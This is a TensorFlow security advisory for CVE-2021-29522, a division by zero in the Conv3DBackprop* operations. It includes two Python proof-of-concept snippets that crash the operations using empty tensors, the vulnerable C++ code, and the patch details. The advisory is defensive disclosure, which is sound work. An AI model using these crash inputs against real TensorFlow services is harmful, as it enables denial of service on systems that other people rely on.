1## TFSA-2021-011: Division by 0 in `Conv3DBackprop*` 2 3### CVE Number 4CVE-2021-29522 5 6### Impact 7The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input 8tensors are not empty. In turn, this would result in a division by 0: 9 10```python 11import tensorflow as tf 12 13input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32) 14filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32) 15out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32) 16 17tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) 18``` 19```python 20import tensorflow as tf 21 22input_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32) 23filter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32) 24out_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32) 25 26tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) 27``` 28 29This is because the 30[implementation](https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450) 31does not check that the divisor used in computing the shard size is not zero: 32 33```cc 34 const int64 size_A = output_image_size * dims.out_depth; 35 const int64 size_B = filter_total_size * dims.out_depth; 36 const int64 size_C = output_image_size * filter_total_size; 37 const int64 work_unit_size = size_A + size_B + size_C; 38 ... 39 const size_t shard_size = 40 use_parallel_contraction 41 ? 1 42 : (target_working_set_size + work_unit_size - 1) / work_unit_size; 43``` 44 45Thus, if attacker controls the input sizes, they can trigger a denial of service 46via a division by zero error. 47 48### Patches 49We have patched the issue in GitHub commit 50[311403edbc9816df80274bd1ea8b3c0c0f22c3fa](https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa). 51 52The fix will be included in TensorFlow 2.5.0. We will also cherrypick this 53commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 542.1.4, as these are also affected and still in supported range. 55 56### For more information 57Please consult [our security 58guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for 59more information regarding the security model and how to contact us with issues 60and questions. 61 62### Attribution 63This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu 64X-Team. 65